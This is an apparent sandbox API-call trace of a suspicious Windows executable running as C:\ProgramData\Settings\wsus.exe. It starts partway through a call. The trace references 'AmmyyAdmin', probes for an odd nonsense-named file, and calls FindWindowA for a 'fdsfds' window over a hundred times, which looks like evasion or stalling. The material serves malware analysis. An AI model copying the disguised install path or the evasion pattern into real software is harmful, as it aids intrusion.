!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ](Å.äù-", lpUsedDefaultChar=0x0) returned 256 [0085.971] GetModuleFileNameA (in: hModule=0x0, lpFilename=0xea208, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Settings\\wsus.exe" (normalized: "c:\\programdata\\settings\\wsus.exe")) returned 0x20 [0085.972] RtlInitializeSListHead (in: ListHead=0xe9fd8 | out: ListHead=0xe9fd8) [0085.972] GetLastError () returned 0x0 [0085.972] SetLastError (dwErrCode=0x0) [0085.972] GetEnvironmentStringsW () returned 0x639410* [0085.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1483, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1483 [0085.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1483, lpMultiByteStr=0x639fb0, cbMultiByte=1483, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1483 [0085.972] FreeEnvironmentStringsW (penv=0x639410) returned 1 [0085.974] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75440000 [0085.974] GetProcAddress (hModule=0x75440000, lpProcName="FlsAlloc") returned 0x75454f2b [0085.974] GetProcAddress (hModule=0x75440000, lpProcName="FlsFree") returned 0x7545359f [0085.974] GetProcAddress (hModule=0x75440000, lpProcName="FlsGetValue") returned 0x75451252 [0085.975] GetProcAddress (hModule=0x75440000, lpProcName="FlsSetValue") returned 0x75454208 [0085.975] GetProcAddress (hModule=0x75440000, lpProcName="InitializeCriticalSectionEx") returned 0x75454d28 [0085.975] GetProcAddress (hModule=0x75440000, lpProcName="InitOnceExecuteOnce") returned 0x7546d627 [0085.975] GetProcAddress (hModule=0x75440000, lpProcName="CreateEventExW") returned 0x754d410b [0085.975] GetProcAddress (hModule=0x75440000, lpProcName="CreateSemaphoreW") returned 0x7546ca5a [0085.975] GetProcAddress (hModule=0x75440000, lpProcName="CreateSemaphoreExW") returned 0x754d4195 [0085.975] GetProcAddress (hModule=0x75440000, lpProcName="CreateThreadpoolTimer") returned 0x7546ee7e [0085.975] GetProcAddress (hModule=0x75440000, lpProcName="SetThreadpoolTimer") returned 0x7761441c [0085.976] GetProcAddress (hModule=0x75440000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7763c50e [0085.976] GetProcAddress (hModule=0x75440000, lpProcName="CloseThreadpoolTimer") returned 0x7763c381 [0085.976] GetProcAddress (hModule=0x75440000, lpProcName="CreateThreadpoolWait") returned 0x7546f088 [0085.976] GetProcAddress (hModule=0x75440000, lpProcName="SetThreadpoolWait") returned 0x776205d7 [0085.976] GetProcAddress (hModule=0x75440000, lpProcName="CloseThreadpoolWait") returned 0x7763ca24 [0085.976] GetProcAddress (hModule=0x75440000, lpProcName="FlushProcessWriteBuffers") returned 0x775f0b8c [0085.976] GetProcAddress (hModule=0x75440000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x776afde8 [0085.976] GetProcAddress (hModule=0x75440000, lpProcName="GetCurrentProcessorNumber") returned 0x77641e1d [0085.976] GetProcAddress (hModule=0x75440000, lpProcName="CreateSymbolicLinkW") returned 0x754ccd11 [0085.977] GetProcAddress (hModule=0x75440000, lpProcName="GetCurrentPackageId") returned 0x0 [0085.977] GetProcAddress (hModule=0x75440000, lpProcName="GetTickCount64") returned 0x7546eee0 [0085.978] GetProcAddress (hModule=0x75440000, lpProcName="GetFileInformationByHandleEx") returned 0x7546c78f [0085.978] GetProcAddress (hModule=0x75440000, lpProcName="SetFileInformationByHandle") returned 0x7547cbfc [0085.978] GetProcAddress (hModule=0x75440000, lpProcName="GetSystemTimePreciseAsFileTime") returned 0x0 [0085.978] GetProcAddress (hModule=0x75440000, lpProcName="InitializeConditionVariable") returned 0x77608456 [0085.978] GetProcAddress (hModule=0x75440000, lpProcName="WakeConditionVariable") returned 0x77677de4 [0085.978] GetProcAddress (hModule=0x75440000, lpProcName="WakeAllConditionVariable") returned 0x7763409d [0085.978] GetProcAddress (hModule=0x75440000, lpProcName="SleepConditionVariableCS") returned 0x754d4b32 [0085.978] GetProcAddress (hModule=0x75440000, lpProcName="InitializeSRWLock") returned 0x77608456 [0085.979] GetProcAddress (hModule=0x75440000, lpProcName="AcquireSRWLockExclusive") returned 0x776029f1 [0085.979] GetProcAddress (hModule=0x75440000, lpProcName="TryAcquireSRWLockExclusive") returned 0x77614892 [0085.979] GetProcAddress (hModule=0x75440000, lpProcName="ReleaseSRWLockExclusive") returned 0x776029ab [0085.979] GetProcAddress (hModule=0x75440000, lpProcName="SleepConditionVariableSRW") returned 0x754d4b74 [0085.981] GetProcAddress (hModule=0x75440000, lpProcName="CreateThreadpoolWork") returned 0x7546ee45 [0085.981] GetProcAddress (hModule=0x75440000, lpProcName="SubmitThreadpoolWork") returned 0x77648491 [0085.981] GetProcAddress (hModule=0x75440000, lpProcName="CloseThreadpoolWork") returned 0x7763d8e2 [0085.981] GetProcAddress (hModule=0x75440000, lpProcName="CompareStringEx") returned 0x754d46b1 [0085.981] GetProcAddress (hModule=0x75440000, lpProcName="GetLocaleInfoEx") returned 0x754d4751 [0085.981] GetProcAddress (hModule=0x75440000, lpProcName="LCMapStringEx") returned 0x754d47f1 [0085.981] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75440000 [0085.982] GetProcAddress (hModule=0x75440000, lpProcName="InitializeConditionVariable") returned 0x77608456 [0085.982] GetProcAddress (hModule=0x75440000, lpProcName="SleepConditionVariableCS") returned 0x754d4b32 [0085.982] GetProcAddress (hModule=0x75440000, lpProcName="WakeAllConditionVariable") returned 0x7763409d [0085.982] RtlInitializeConditionVariable () returned 0xe9fbc [0085.982] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0085.983] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x9f98a) returned 0x0 [0085.984] lstrlenW (lpString="AmmyyAdmin") returned 10 [0085.984] lstrlenW (lpString="AmmyyAdmin") returned 10 [0085.985] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75440000 [0085.985] GetProcAddress (hModule=0x75440000, lpProcName="WTSGetActiveConsoleSessionId") returned 0x754d3f49 [0085.985] GetProcAddress (hModule=0x75440000, lpProcName="ProcessIdToSessionId") returned 0x75451275 [0085.985] GetCurrentProcessId () returned 0xa40 [0085.985] ProcessIdToSessionId (in: dwProcessId=0xa40, pSessionId=0xea7cc | out: pSessionId=0xea7cc) returned 1 [0085.986] CreateSemaphoreW (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=2147483647, lpName=0x0) returned 0xa8 [0085.986] GetCurrentProcess () returned 0xffffffff [0085.986] GetCurrentThread () returned 0xfffffffe [0085.986] GetCurrentProcess () returned 0xffffffff [0085.986] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x63a500, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x63a500*=0xac) returned 1 [0085.986] GetCurrentThreadId () returned 0xa50 [0085.986] SetThreadPriority (hThread=0xac, nPriority=0) returned 1 [0085.987] QueryPerformanceFrequency (in: lpFrequency=0xeaa30 | out: lpFrequency=0xeaa30) returned 1 [0085.987] QueryPerformanceCounter (in: lpPerformanceCount=0xeaa38 | out: lpPerformanceCount=0xeaa38*=557386504) returned 1 [0085.987] lstrlenW (lpString="") returned 0 [0085.988] lstrlenA (lpString="Non-def App") returned 11 [0085.988] GetStartupInfoW (in: lpStartupInfo=0x2dfa04 | out: lpStartupInfo=0x2dfa04*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\ProgramData\\Settings\\wsus.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0085.989] CreateFileA (lpFileName="KFwsh6767yuhNr3hunjiweh78&*$Y%3uefisgt67yuH*y#$urw" (normalized: "c:\\users\\qj4sukboe\\desktop\\kfwsh6767yuhnr3hunjiweh78&*$y%3uefisgt67yuh*y#$urw"), dwDesiredAccess=0x0, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0085.989] GetThreadLocale () returned 0x409 [0085.989] SetBkColor (hdc=0x7401083e, color=0xffffff) returned 0xffffffff [0085.991] SelectObject (hdc=0x7401083e, h=0x185000f) returned 0x0 [0085.991] CreateCompatibleDC (hdc=0x7401083e) returned 0x0 [0085.991] GetACP () returned 0x4e4 [0085.991] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.991] GetACP () returned 0x4e4 [0085.991] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.991] GetACP () returned 0x4e4 [0085.991] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.991] GetACP () returned 0x4e4 [0085.991] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.991] GetACP () returned 0x4e4 [0085.991] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.991] GetACP () returned 0x4e4 [0085.991] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.991] GetACP () returned 0x4e4 [0085.991] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.991] GetACP () returned 0x4e4 [0085.991] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.991] GetACP () returned 0x4e4 [0085.991] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.991] GetACP () returned 0x4e4 [0085.991] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.992] GetACP () returned 0x4e4 [0085.992] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.992] GetACP () returned 0x4e4 [0085.992] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.992] GetACP () returned 0x4e4 [0085.992] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.992] GetACP () returned 0x4e4 [0085.992] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.992] GetACP () returned 0x4e4 [0085.992] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.992] GetACP () returned 0x4e4 [0085.992] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.992] GetACP () returned 0x4e4 [0085.992] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.992] GetACP () returned 0x4e4 [0085.992] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.992] GetACP () returned 0x4e4 [0085.992] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.992] GetACP () returned 0x4e4 [0085.992] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.992] GetACP () returned 0x4e4 [0085.992] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.992] GetACP () returned 0x4e4 [0085.992] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.992] GetACP () returned 0x4e4 [0085.992] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.993] GetACP () returned 0x4e4 [0085.993] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.993] GetACP () returned 0x4e4 [0085.993] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.993] GetACP () returned 0x4e4 [0085.993] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.993] GetACP () returned 0x4e4 [0085.993] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.993] GetACP () returned 0x4e4 [0085.993] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.993] GetACP () returned 0x4e4 [0085.993] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.993] GetACP () returned 0x4e4 [0085.993] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.993] GetACP () returned 0x4e4 [0085.993] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.993] GetACP () returned 0x4e4 [0085.993] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.993] GetACP () returned 0x4e4 [0085.993] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.993] GetACP () returned 0x4e4 [0085.993] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.993] GetACP () returned 0x4e4 [0085.993] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.993] GetACP () returned 0x4e4 [0085.993] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.993] GetACP () returned 0x4e4 [0085.993] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.993] GetACP () returned 0x4e4 [0085.994] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.994] GetACP () returned 0x4e4 [0085.994] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.994] GetACP () returned 0x4e4 [0085.994] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.994] GetACP () returned 0x4e4 [0085.994] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.994] GetACP () returned 0x4e4 [0085.994] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.994] GetACP () returned 0x4e4 [0085.994] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.994] GetACP () returned 0x4e4 [0085.994] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.994] GetACP () returned 0x4e4 [0085.994] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.994] GetACP () returned 0x4e4 [0085.994] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.994] GetACP () returned 0x4e4 [0085.994] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.994] GetACP () returned 0x4e4 [0085.994] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.994] GetACP () returned 0x4e4 [0085.994] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.994] GetACP () returned 0x4e4 [0085.994] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.994] GetACP () returned 0x4e4 [0085.994] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.994] GetACP () returned 0x4e4 [0085.994] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.994] GetACP () returned 0x4e4 [0085.994] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.994] GetACP () returned 0x4e4 [0085.995] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.995] GetACP () returned 0x4e4 [0085.995] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.995] GetACP () returned 0x4e4 [0085.995] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.995] GetACP () returned 0x4e4 [0085.995] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.995] GetACP () returned 0x4e4 [0085.995] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.995] GetACP () returned 0x4e4 [0085.995] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.995] GetACP () returned 0x4e4 [0085.995] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.995] GetACP () returned 0x4e4 [0085.995] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.995] GetACP () returned 0x4e4 [0085.995] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.995] GetACP () returned 0x4e4 [0085.995] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.995] GetACP () returned 0x4e4 [0085.995] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.995] GetACP () returned 0x4e4 [0085.995] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.995] GetACP () returned 0x4e4 [0085.995] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.995] GetACP () returned 0x4e4 [0085.995] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.995] GetACP () returned 0x4e4 [0085.995] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.995] GetACP () returned 0x4e4 [0085.995] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.996] GetACP () returned 0x4e4 [0085.996] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.996] GetACP () returned 0x4e4 [0085.996] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.996] GetACP () returned 0x4e4 [0085.996] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.996] GetACP () returned 0x4e4 [0085.996] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.996] GetACP () returned 0x4e4 [0085.996] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.996] GetACP () returned 0x4e4 [0085.996] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.996] GetACP () returned 0x4e4 [0085.996] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.996] GetACP () returned 0x4e4 [0085.996] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.996] GetACP () returned 0x4e4 [0085.996] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.996] GetACP () returned 0x4e4 [0085.996] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.996] GetACP () returned 0x4e4 [0085.996] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.996] GetACP () returned 0x4e4 [0085.996] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.996] GetACP () returned 0x4e4 [0085.996] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.996] GetACP () returned 0x4e4 [0085.996] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.996] GetACP () returned 0x4e4 [0085.996] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.996] GetACP () returned 0x4e4 [0085.997] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.997] GetACP () returned 0x4e4 [0085.997] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.997] GetACP () returned 0x4e4 [0085.997] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.997] GetACP () returned 0x4e4 [0085.997] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.997] GetACP () returned 0x4e4 [0085.997] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.997] GetACP () returned 0x4e4 [0085.997] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.997] GetACP () returned 0x4e4 [0085.997] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.997] GetACP () returned 0x4e4 [0085.997] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.997] GetACP () returned 0x4e4 [0085.997] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.997] GetACP () returned 0x4e4 [0085.997] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.997] GetACP () returned 0x4e4 [0085.997] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.997] GetACP () returned 0x4e4 [0085.997] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.997] GetACP () returned 0x4e4 [0085.997] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.997] GetACP () returned 0x4e4 [0085.997] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.997] GetACP () returned 0x4e4 [0085.997] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.997] GetACP () returned 0x4e4 [0085.997] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.998] GetACP () returned 0x4e4 [0085.998] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.998] GetACP () returned 0x4e4 [0085.998] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.998] GetACP () returned 0x4e4 [0085.998] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.998] GetACP () returned 0x4e4 [0085.998] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.998] GetACP () returned 0x4e4 [0085.998] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.998] GetACP () returned 0x4e4 [0085.998] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.998] GetACP () returned 0x4e4 [0085.998] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.998] GetACP () returned 0x4e4 [0085.998] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.998] GetACP () returned 0x4e4 [0085.998] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.998] GetACP () returned 0x4e4 [0085.998] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.998] GetACP () returned 0x4e4 [0085.998] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.998] GetACP () returned 0x4e4 [0085.998] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.998] GetACP () returned 0x4e4 [0085.998] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.998] GetACP () returned 0x4e4 [0085.998] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.998] GetACP () returned 0x4e4 [0085.998] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.998] GetACP () returned 0x4e4 [0085.998] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.998] GetACP () returned 0x4e4 [0085.999] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.999] GetACP () returned 0x4e4 [0085.999] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.999] GetACP () returned 0x4e4 [0085.999] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.999] GetACP () returned 0x4e4 [0085.999] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.999] GetACP () returned 0x4e4 [0085.999] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.999] GetACP () returned 0x4e4 [0085.999] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.999] GetACP () returned 0x4e4 [0085.999] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.999] GetACP () returned 0x4e4 [0085.999] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.999] GetACP () returned 0x4e4 [0085.999] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.999] GetACP () returned 0x4e4 [0085.999] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.999] GetACP () returned 0x4e4 [0085.999] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.999] GetACP () returned 0x4e4 [0085.999] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.999] GetACP () returned 0x4e4 [0085.999] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.999] GetACP () returned 0x4e4 [0085.999] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.999] GetACP () returned 0x4e4 [0085.999] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.999] GetACP () returned 0x4e4 [0085.999] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0085.999] GetACP () returned 0x4e4 [0086.000] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.000] GetACP () returned 0x4e4 [0086.000] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.000] GetACP () returned 0x4e4 [0086.000] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.000] GetACP () returned 0x4e4 [0086.000] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.000] GetACP () returned 0x4e4 [0086.000] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.000] GetACP () returned 0x4e4 [0086.000] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.000] GetACP () returned 0x4e4 [0086.000] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.000] GetACP () returned 0x4e4 [0086.000] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.000] GetACP () returned 0x4e4 [0086.000] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.000] GetACP () returned 0x4e4 [0086.000] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.000] GetACP () returned 0x4e4 [0086.000] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.000] GetACP () returned 0x4e4 [0086.000] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.000] GetACP () returned 0x4e4 [0086.000] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.000] GetACP () returned 0x4e4 [0086.000] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.000] GetACP () returned 0x4e4 [0086.000] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.000] GetACP () returned 0x4e4 [0086.000] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.000] GetACP () returned 0x4e4 [0086.001] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.001] GetACP () returned 0x4e4 [0086.001] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.001] GetACP () returned 0x4e4 [0086.001] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.001] GetACP () returned 0x4e4 [0086.001] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.001] GetACP () returned 0x4e4 [0086.001] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.001] GetACP () returned 0x4e4 [0086.001] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.001] GetACP () returned 0x4e4 [0086.001] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.001] GetACP () returned 0x4e4 [0086.001] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.001] GetACP () returned 0x4e4 [0086.001] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.001] GetACP () returned 0x4e4 [0086.001] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.001] GetACP () returned 0x4e4 [0086.001] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.001] GetACP () returned 0x4e4 [0086.001] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.001] GetACP () returned 0x4e4 [0086.001] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.001] GetACP () returned 0x4e4 